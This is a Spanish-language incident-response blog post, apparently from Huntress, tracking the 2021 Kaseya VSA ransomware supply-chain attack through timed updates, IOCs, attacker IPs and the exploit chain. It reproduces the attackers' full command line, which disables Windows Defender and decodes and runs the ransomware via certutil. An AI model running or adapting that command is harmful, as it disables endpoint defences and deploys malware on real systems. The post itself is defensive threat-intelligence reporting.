Respuesta rápida: incidente masivo de ransomware en MSP

Actualizado el 13/07/2021 @ 10:30am ET

Nuestro equipo continúa investigando el ataque a la cadena de suministro de Kaseya VSA que actualmente afecta a un número creciente de MSPs, revendedores y sus clientes.

Nuestros hallazgos y análisis iniciales están recogidos en este hilo de Reddit. Seguimos actualizando ese hilo y esta publicación con información nueva.

El martes 13 de julio, continuamos nuestra cobertura del ataque durante el episodio de julio de Tradecraft Tuesday. Mira la grabación aquí.

También organizamos un webinar el martes 6 de julio a la 1pm ET para brindar información adicional—accede a la grabación aquí.

Si necesitas ayuda—incluso si no eres actualmente socio de Huntress—contacta a nuestro equipo de soporte en [email protected]. Estamos trabajando sin descanso para apoyar a los MSPs afectados por este ataque.

Enlaces rápidos

• ¿Qué está pasando?
• Estado actual
  
• Actualización #19 - 13/07/2021 @ 10:30am ET
• Actualización #18 - 11/07/2021 @ 7:10pm ET
• Actualización #17 - 11/07/2021 @ 4:35pm ET
• Actualización #16 - 08/07/2021 @ 5:27pm ET
• Actualización #15 - 06/07/2021 @ 7:08pm ET
• Actualización #14 - 06/07/2021 @ 2:04am ET
• Actualización #13 - 05/07/2021 @ 03:12pm ET
• Actualización #12 - 04/07/2021 @ 4:31pm ET
• Actualización #11 - 04/07/2021 @ 1:32pm ET
• Actualización #10 - 04/07/2021 @ 12:20pm ET
• Actualización #9 - 04/07/2021 @ 11:17am ET
• Actualización #8 - 03/07/2021 @ 8:43pm ET
• Actualización #7 - 03/07/2021 @ 4:07pm ET
• Actualización #6 - 03/07/2021 @ 11:34am ET
• Actualización #5 - 02/07/2021 @ 9:10pm ET
• Actualización #4 - 02/07/2021 @ 4:22pm ET
• Actualización #3 - 02/07/2021 @ 3:17pm ET
• Actualización #2 - 02/07/2021 @ 2:49pm ET
• Actualización #1 - 02/07/2021 @ 2:45pm ET
• Indicadores iniciales de compromiso
• Lecturas adicionales y recursos
• ¿Puede Huntress ayudarme?

¿Qué está pasando?

Estamos rastreando ~30 MSPs en EE.UU., Australia, la UE y Latinoamérica donde se usó Kaseya VSA para cifrar bastante más de 1,000 empresas, y trabajamos en colaboración con muchos de ellos. Todos estos servidores VSA son on-prem y Huntress ha confirmado que los ciberdelincuentes explotaron una carga de archivos arbitraria y una vulnerabilidad de inyección de código y tienen alta confianza de que se usó una omisión de autenticación para acceder a estos servidores.

Kaseya también ha declarado:

R&D ha replicado el vector de ataque y está trabajando en mitigarlo. Hemos iniciado el proceso de remediación del código e incluiremos actualizaciones periódicas de nuestro progreso a partir de mañana por la mañana.

Nuestro equipo ha estado en contacto con el equipo de seguridad de Kaseya desde el 2 de julio aproximadamente a las 2:00pm ET. Comenzaron de inmediato a tomar acciones de respuesta y a recibir retroalimentación de nuestro equipo mientras ambos aprendíamos sobre la situación en desarrollo.

Muchos socios preguntan "¿Qué haces si tu RMM está comprometido?". Esta no es la primera vez que hackers han convertido a los MSPs en objetivos de cadena de suministro, y anteriormente grabamos una guía en video sobre Sobreviviendo a un ataque de ransomware coordinado después de que más de 100 MSPs fueran comprometidos en 2019. Este es un buen recurso para empezar, y también puedes ver nuestro webinar más reciente sobre cómo recuperarse de un ataque masivo de ransomware aquí.

Estado actual

A las 4:30pm ET del 11 de julio, Kaseya publicó su parche para remediar los servidores VSA on-prem. El equipo de Huntress ha validado desde entonces este parche, denominado 9.5.7a (9.5.7.2994) Feature Release.

Con este parche instalado, nuestro exploit de prueba de concepto anterior ahora falla—y creemos que el vector de ataque ya no está presente.

Actualización #19 - 13/07/2021 @ 10:30am ET

En la Actualización 5 de nuestro hilo de Reddit (2/7/2021 2110 ET), mencionamos:

"Para nuestros socios de Huntress que usan VSA, tomamos medidas proactivas para ayudar a proteger sus sistemas. Enviaremos un seguimiento con más detalles." 

Lee todos los detalles sobre las "medidas proactivas" que tomamos en esta publicación de blog.

Actualización #18 - 11/07/2021 @ 7:10pm ET

El equipo de Huntress ha validado el parche publicado por Kaseya, denominado 9.5.7a (9.5.7.2994) Feature Release.

Puedes instalar el parche con la utilidad de actualización "KInstall.exe", que puedes encontrar en línea aquí si no tienes una copia local: http://download.kaseya.com/KInstall.exe. Instalar el parche sí sugiere una actualización de Windows si no has instalado recientemente las últimas actualizaciones de Microsoft.

Según nuestras pruebas, instalar el parche tomó aproximadamente 10 minutos. Después de volver a iniciar sesión en el servicio VSA, se te pide cambiar tu contraseña para cumplir con los nuevos requisitos de la política.

Observamos que, con este parche instalado, /dl.asp, /userFilterTableRpt.asp y /done.asp ya no están presentes. El elemento de menú "Deploy Agent" en la GUI /mkDefault.asp. KUpload.dll ha sido modificado (aún no hemos profundizado en los cambios de este archivo).

Con este parche instalado, nuestro exploit de prueba de concepto anterior ahora falla—y creemos que el vector de ataque ya no está presente.

Actualización #17 - 11/07/2021 @ 4:35pm ET

Kaseya ha publicado su parche para remediar los servidores VSA on-prem y ha vuelto a poner en línea la infraestructura SaaS de VSA a las 1630 ET del 11 de julio de 2021. Nuestro equipo está trabajando para validar el parche y tendremos más actualizaciones pronto. 

Nota: anteriormente se proporcionó un script SQL para limpiar cualquier procedimiento/script/trabajo pendiente de VSA que pudiera haberse acumulado desde el apagado, junto con una herramienta de "Reporte de Auditoría SQL de VSA"—ambas se recomiendan encarecidamente ejecutar antes de comenzar los esfuerzos de recuperación y restaurar la conectividad a internet.

Actualización #16 - 08/07/2021 @ 5:27pm ET

Huntress ha visto el video del CEO de Kaseya publicado anoche y las últimas actualizaciones que explican que el cronograma para un parche y restauración ahora se retrasa hasta este domingo próximo.

Kaseya ha publicado un manual on-premise así como un manual SaaS para los esfuerzos de recuperación.

Nuestra preocupación actual es que si las organizaciones apagan sus servidores VSA on-prem, existe la posibilidad de que estos sistemas se apaguen en un estado con trabajos pendientes todavía en cola para pedir rescate a más endpoints posteriores una vez que se restaure la conectividad.

Creemos que es de vital importancia eliminar estos trabajos pendientes antes de reactivar la conectividad.

Una vez que se publique un parche, el equipo de Huntress tendrá más actualizaciones para compartir.

Actualización #15 - 06/07/2021 @ 7:08pm ET

Como se demostró en nuestro webinar de hoy, el investigador de seguridad de Huntress Caleb Stewart ha reproducido con éxito los exploits de Kaseya VSA usados para desplegar ransomware REvil/Sodinokibi y publicó un video de demostración POC que muestra:

• una omisión de autenticación
• una carga de archivos arbitraria
• e inyección de comandos

Aunque los hackers no entregaron un implante con su exploit, la segunda mitad del video ilustra cómo podría haberse hecho (usaron MSFVenom para generar un binario Meterpreter y capturaron el callback con pwncat).

Actualización #14 - 06/07/2021 @ 2:04am ET

Hemos recibido muchísimas solicitudes de MSPs comprometidos para detallar qué acciones realizaron los hackers después de comprometer una base de datos VSA. Aunque no podemos decir con certeza qué le hicieron a tu base de datos, esto es lo que descubrimos en las que analizamos:

Un gran agradecimiento a Caleb Stewart, Dave Kleinatland y Jason Phelps de Huntress por este análisis. Sin embargo, el mayor mérito es para los MSPs que decidieron compartir sus datos por el bien de la comunidad. ¡No habríamos podido armar este rompecabezas sin ustedes!

Actualización #13 - 05/07/2021 @ 3:12pm ET

Aproximadamente a las 0415 ET de esta mañana, nuestro equipo recibió fragmentos del archivo Screenshot.jpg que se cargó como parte de la cadena de ataque. Este Screenshot.jpg es información nueva que aún no hemos visto compartida públicamente.

Este Screenshot.jpg de hecho no es un archivo de imagen JPG, sino más código ejecutable que podemos ver que deshabilita las sesiones de usuario existentes, elimina los registros de IIS y otras actividades de limpieza. Lamentablemente, gran parte del código fue eliminado ya que el IDS original no había capturado el paquete completo. Esto explica la actividad previa que hemos visto en todas las organizaciones comprometidas. Una vez más, no podemos agradecer lo suficiente a la comunidad por compartir su valiosa inteligencia.

Con el hallazgo de este Screenshot.jpg, recordamos que de hecho se cargó a un directorio accesible, y en la solicitud POST final a /userFilterTableRpt.asp es posible que se proporcione un argumento para llamar y ejecutar este código de Screenshot.jpg. Esto indica que no se trata estrictamente de inyección SQL como vector final para la ejecución de código, sino potencialmente otra forma de inyección.

Actualización #12 - 04/07/2021 @ 4:31pm ET

Hemos estado rastreando el vector de ataque original para este incidente. En todos los servidores comprometidos de los que tenemos conocimiento, ha habido otra característica común tras las solicitudes GET y POST mencionadas anteriormente desde una dirección IP de AWS 18[.]223.199.234 usando curl para acceder a estos archivos secuencialmente:

/dl.asp/KUpload.dll/userFilterTableRpt.asp

Hemos observado que dl.asp contiene una correcta sanitización SQL y no parece haber vulnerabilidades de inyección SQL presentes. Sin embargo, sí parece incluir una posible falla lógica en el proceso de autenticación.

Esta posible omisión de autenticación probablemente otorga al usuario una sesión válida, y puede permitir al usuario "suplantar" a un agente válido. Si esa especulación es correcta, el usuario podría acceder a otros archivos que requieren autenticación -- específicamente KUpload.dll y userFilterTableRpt.asp en este caso. KUpload.dll ofrece funcionalidad de carga y registra en un archivo KUpload.log.

De nuestro análisis, hemos visto que el KUpload.log en servidores comprometidos demuestra que los archivos agent.crt y Screenshot.jpg se cargaron al servidor VSA. agent.crt se usa, como se mencionó antes, para iniciar la carga útil del ransomware. Lamentablemente aún no hemos obtenido una copia de Screenshot.jpg presente en los servidores comprometidos que hemos visto.

El archivo userFilterTableRpt.asp contiene una cantidad significativa de posibles vulnerabilidades de inyección SQL, lo que ofrecería un vector de ataque para la ejecución de código y la capacidad de comprometer el servidor VSA.

Siguiendo esta cadena, tenemos alta confianza de que el actor de amenazas usó una omisión de autenticación en la interfaz web de Kaseya VSA para obtener una sesión autenticada, cargar la carga útil original y luego ejecutar comandos mediante inyección SQL. Podemos confirmar que la inyección SQL es cómo los actores comenzaron la ejecución de código.

Estamos trabajando con AWS y las fuerzas del orden para investigar esta dirección IP 18[.]223.199.234. Considerando el hecho de que esta dirección IP proporciona hosting compartido (crédito a RiskIQ por esta información), es plausible que los atacantes hayan comprometido un servidor web legítimo y lo hayan usado como punto de lanzamiento para su ataque. Seguimos analizando activamente esta situación y continuaremos actualizándote con nueva inteligencia de amenazas a medida que la encontremos.

Si alguien tiene información sobre este archivo recién descubierto \Kaseya\WebPages\ManagedFiles\VSATicketFiles\Screenshot.jpg , por favor comparte tus hallazgos y el archivo con nosotros en [email protected].

Actualización #11 - 04/07/2021 @ 1:32pm ET

Si alguna organización está dispuesta a compartir copias de los archivos sin cifrar de servidores VSA comprometidos conocidos, esto sería una ayuda increíble para nuestro análisis.

• C:\ProgramData\Kaseya\Log\KaseyaEdgeServices\*.log

• C:\inetpub\logs\LogFiles\W3SVC#\*.log

• C:\ProgramData\Kaseya\Kupload\KUpload.log

Estos registros serán fundamentales para ayudarnos a entender de qué direcciones IP provinieron los atacantes mientras cooperamos con las fuerzas del orden y los proveedores de servicios de cloud. Como siempre, tu información será privada y confidencial -- por favor envía enlaces de descarga a [email protected]. Estamos todos juntos en esto y agradecemos enormemente tu ayuda.

Actualización #10 - 04/07/2021 @ 12:20pm ET

Aún es muy pronto para saberlo, pero a partir de los registros que hemos estado analizando, hemos visto una única solicitud POST desde una dirección IP de AWS 18[.]223.199.234 usando curl para acceder al archivo /userFilterTableRpt.asp.

Actualización #9 - 04/07/2021 @ 11:17am ET

Kaseya ha compartido su propia herramienta de detección. Según su reporte, "La nueva herramienta de detección de compromiso se lanzó anoche a casi 900 clientes que la solicitaron." Esa herramienta de detección verifica la presencia de un archivo "userfiltertablerpt.asp" incluido en su raíz web pública. Al examinar el archivo, podemos ver que hay varias posibles vulnerabilidades de inyección SQL, y estamos revisando activamente los archivos pertinentes en busca de otros posibles vectores de ataque.

Actualización #8 - 03/07/2021 @ 8:43pm ET

Hemos hecho varios cambios en la sección "Qué está pasando" de esta publicación, actualizando el número de organizaciones afectadas confirmadas y compartiendo información nueva basada en nuestro análisis de cientos de registros VSA de servidores comprometidos.

De aquí en adelante el equipo de Huntress dividirá sus esfuerzos para apoyar dos objetivos principales:

• Restauración: El 75% de nuestro esfuerzo se enfocará en ayudar a los socios comprometidos a recuperarse de este incidente, usando la próxima herramienta de detección de compromiso de Kaseya (esperada próximamente) y ayudando a los clientes de los socios a comprender la situación.
• Concientización sobre el vector de ataque: El 25% de nuestro esfuerzo seguirá enfocándose en el vector de acceso inicial usado por los atacantes. Aún tenemos datos por analizar y nos estamos preparando para el lanzamiento de un parche beta a corto plazo mañana (según la actualización de Kaseya del 3 de julio a las 7:30pm ET).

Actualización #7 - 03/07/2021 @ 4:07pm ET

Estamos al tanto de artefactos de Sodinokibi como las claves de registro "BlackLivesMatter" y valores almacenados dentro de HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node. Aunque detalles como estos pueden ser llamativos para titulares, el propósito de esta clave de registro es simplemente almacenar claves/configuraciones en tiempo de ejecución del encriptador y han sido discutidos previamente. También estamos al tanto de la conversación sobre la capacidad de la carga útil de Kaseya para autoiniciar sesión en modo seguro y establecer la contraseña como "DTrump4ever". Este comportamiento solo ocurrirá si se especifica el argumento -smode y no hemos observado este comportamiento en ninguno de los MSPs con los que hemos trabajado.

Actualización #6 - 03/07/2021 @ 11:34am ET

Basándonos en una combinación de los proveedores de servicios que se han comunicado con nosotros solicitando ayuda, junto con los comentarios que vemos en este hilo, es razonable pensar que esto podría estar afectando a miles de pequeñas empresas.

A las 10:00 AM ET del 3 de julio, Kaseya compartió una nueva actualización, continuando a recomendar enfáticamente a los clientes de Kaseya on-prem que mantengan sus servidores VSA fuera de línea hasta nuevo aviso. Explican que se publicarán más actualizaciones cada 3-4 horas o con mayor frecuencia a medida que se descubra información nueva.

Seguimos analizando activamente los registros VSA de Kaseya y los registros de eventos de Windows. Si tienes registros sin cifrar de un servidor VSA confirmado comprometido y te sientes cómodo compartiéndolos para ayudar en los esfuerzos de descubrimiento, envía un enlace por correo a support[at]huntress.com. Toda tu información se tratará de manera confidencial y se redactará antes de que se publique públicamente. ♥

Nuestro enfoque durante las próximas 48 horas será asesorar y ayudar a los MSPs y revendedores cuyos clientes fueron atacados sobre cómo proceder. Si necesitas ayuda (socio de Huntress o no) envía un correo a support[at]huntresslabs.com. Basado en los muchos MSPs y revendedores que se han comunicado con nosotros pidiendo consejo sobre cómo manejar una situación como esta - incluyendo muchos que no tuvieron clientes afectados.

Actualización #5 - 02/07/2021 @ 9:10pm ET

Estamos trabajando arduamente para aprender todo lo que podemos, pero tenemos algunos detalles y notas que queríamos compartir:

Fabian Wosar publicó una copia descifrada de la configuración del encriptador REvil/Sodin. Este archivo contiene detalles sobre la carga útil del ransomware, incluidas listas de procesos a terminar, componentes en lista de permitidos y dominios de comando y control usados.

IOCs (SHA256):

• agent.exe d55f983c994caa160ec63a59f6b4250fe67fb3e8c43a388aec60a4a6978e9f1e
• mpsvc.dll (DLL de sideload, hemos visto este archivo de primera mano) e2a24ab94f865caeacdf2c3ad015f31f23008ac6db8312c2cbfb32e4a5466ea2
• mpsvc.dll (DLL de sideload que otros han visto) 8dd620d9aeb35960bb766458c8890ede987c33d239cf730f93fe49d90ae759dd

Si tu MSP (socio de Huntress o no) fue afectado por este incidente y necesitas consejo sobre cómo proceder desde aquí, comunícate con [email protected]. Hemos asesorado a más de 200 MSPs en incidentes como este desde principios de 2019 y estaríamos encantados de compartir las mejores prácticas.

Para nuestros socios de Huntress que usan VSA, tomamos medidas proactivas para ayudar a proteger tus sistemas. Enviaremos un seguimiento con más detalles.

Estaremos trabajando toda la noche y proporcionaremos detalles adicionales a medida que sepamos más.

Actualización #4 - 02/07/2021 @ 4:22pm ET

Estamos viendo indicaciones de que las cuentas de usuario administrador de VSA se deshabilitaron solo momentos antes de que se desplegara el ransomware. La fuente de estos indicadores son notificaciones de seguridad de Kaseya VSA enviadas automáticamente por correo que indican que la cuenta "KElevated######" (usuario SQL) realizó esta acción. Somos cautelosos de sacar conclusiones precipitadas, pero esto podría sugerir ejecución mediante comandos SQL.

Actualización #3 - 02/07/2021 @ 3:17pm ET

Basándonos en los patrones forenses, notas de ransomware y la URL de TOR, creemos firmemente que un afiliado de RaaS REvil/Sodinokibi está detrás de estas intrusiones.

• hxxp://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd[.]onion

El equipo de soporte al cliente de Huntress ha comenzado a llamar de manera preventiva a todos nuestros socios de VSA para informarles de la situación. Actualmente tenemos tres socios de Huntress afectados con aproximadamente 200 empresas que han sido cifradas. Estamos al tanto de al menos 8 socios MSP afectados en este momento.

Actualización #2 - 02/07/2021 @ 2:49pm ET

Hemos recopilado una copia del encriptador (agent.exe). El encriptador está firmado digitalmente con una firma digital válida con la siguiente información del firmante:

• Nombre: PB03 TRANSPORT LTD.

• Correo: [email protected]

• CN = Sectigo RSA Code Signing, CAO = Sectigo Limited, L = Salford, S = Greater Manchester, C = GB

• Número de serie: 119acead668bad57a48b4f42f294f8f0

• Emisor: https://sectigo.com/

Cuando se ejecuta agent.exe, los siguientes archivos son dejados en la ruta codificada c:\Windows:

• MsMpEng.exe - el ejecutable legítimo de Windows Defender

• mpsvc.dll - la carga útil del encriptador que es cargada mediante sideload por el .EXE legítimo de Defender

Actualización #1 - 02/07/2021 @ 2:45pm ET

Según las conversaciones actuales, un socio afectado declaró que está ejecutando VSA on-prem un parche atrás y con 2FA activo en todas las cuentas de usuarios/integración. Un segundo socio declaró que está ejecutando VSA on-prem un parche atrás y con 2FA activo en todos los usuarios excepto las cuentas de integración de Autotask y Warranty Master.

Indicadores iniciales de compromiso

El 2 de julio alrededor de las 11am ET se usaron muchos servidores Kaseya VSA para desplegar ransomware. Aquí están los detalles de esa intrusión inicial.

IOCs del servidor

Los atacantes cargaron agent.crt y Screenshot.jpg a servidores VSA explotados y esta actividad se puede encontrar en KUpload.log (que *puede* ser borrado por los atacantes o cifrado por el ransomware si también se instaló un agente de VSA en el servidor VSA).

• Se puede encontrar una serie de solicitudes GET y POST usando curl dentro de los registros de KaseyaEdgeServices ubicados en el directorio %ProgramData%\Kaseya\Log\KaseyaEdgeServices con un nombre de archivo que sigue este esquema de nombres ISO8601 modificado KaseyaEdgeServices-YYYY-MM-DDTHH-MM-SSZ.log.

Los atacantes provinieron de las siguientes direcciones IP usando el agente de usuario curl/7.69.1:

18.223.199[.]234 (Amazon Web Services) descubierto por Huntress

161.35.239[.]148 (Digital Ocean) descubierto por TrueSec

35.226.94[.]113 (Google Cloud) descubierto por Kaseya

162.253.124[.]162 (Sapioterra) descubierto por Kaseya

Hemos estado en contacto con los equipos internos de hunt en AWS y Digital Ocean y hemos pasado información a la oficina de Dallas del FBI y a las agencias de inteligencia relevantes.

• El procedimiento VSA usado para desplegar el encriptador se llamó "Kaseya VSA Agent Hot-fix". Otros procedimientos adicionales fueron "Archive and Purge Logs"

El procedimiento "Kaseya VSA Agent Hot-fix" ejecutó lo siguiente: "C:\WINDOWS\system32\cmd.exe" /c ping 127.0.0.1 -n 4979 > nul & C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend & copy /Y C:\Windows\System32\certutil.exe C:\Windows\cert.exe & echo %RANDOM% >> C:\Windows\cert.exe & C:\Windows\cert.exe -decode c:\kworking\agent.crt c:\kworking\agent.exe & del /q /f c:\kworking\agent.crt C:\Windows\cert.exe & c:\kworking\agent.exe

IOCs de endpoint

Los encriptadores de ransomware enviados a través del agente Kaseya VSA se dejaron en TempPath con el nombre de archivo agent.crt y se decodificaron a agent.exe. TempPath se resuelve a c:\kworking\agent.exe por defecto y es configurable dentro de HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Kaseya\Agent\<unique id>

• Cuando se ejecuta agent.exe, el ejecutable legítimo de Windows Defender MsMpEng.exe y la carga útil del encriptador mpsvc.dll se dejan en la ruta codificada "c:\Windows" para hacer sideload de DLL.

La DLL Sodinokibi mpsvc.dll crea la clave de registro HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\BlackLivesMatter que contiene varios valores de registro que almacenan artefactos de claves/configuraciones en tiempo de ejecución del encriptador.

• agent.crt - MD5: 939aae3cc456de8964cb182c75a5f8cc - Contenido malicioso codificado

• agent.exe - MD5: 561cffbaba71a6e8cc1cdceda990ead4 - Contenido decodificado de agent.crt

• cert.exe - MD5: <aleatorio debido a cadena añadida> - Utilidad legítima certutil.exe de Windows
• mpsvc.dll - MD5: a47cf00aedf769d60d58bfe00c0b5421- Carga útil del encriptador REvil

Lecturas adicionales y recursos

• Recursos para profesionales de DFIR que responden al ataque de cadena de suministro de ransomware REvil de Kaseya
• El ataque de cadena de suministro de Kaseya desencadena un evento masivo de ransomware para empresas de EE.UU. (Kevin Beaumont)
• Perspectiva sobre la conversación de clave de descifrado pública/privada (Fabian Wosar)
• Cobertura mediática: NYTimes, WSJ, BBC, Washington Post, Reuters, AP, Forbes

¿Puede Huntress ayudarme?

Estamos haciendo todo lo posible para apoyar a las empresas que necesitan ayuda en este momento. La comunidad MSP es una red increíblemente solidaria y estamos activamente comprometidos con muchos miembros y organizaciones.

Hemos tomado medidas dentro de nuestra plataforma para ayudar a los socios a reducir parte del riesgo de verse afectados por este ataque. Compartiremos más sobre esto en una próxima actualización.

Si necesitas ayuda—incluso si no eres actualmente socio de Huntress—contacta a nuestro equipo de soporte en [email protected]. Estamos trabajando sin descanso para apoyar a los MSPs afectados por este ataque. También puedes comenzar una prueba de Huntress aquí (esto no es necesario para obtener ayuda de nuestra parte).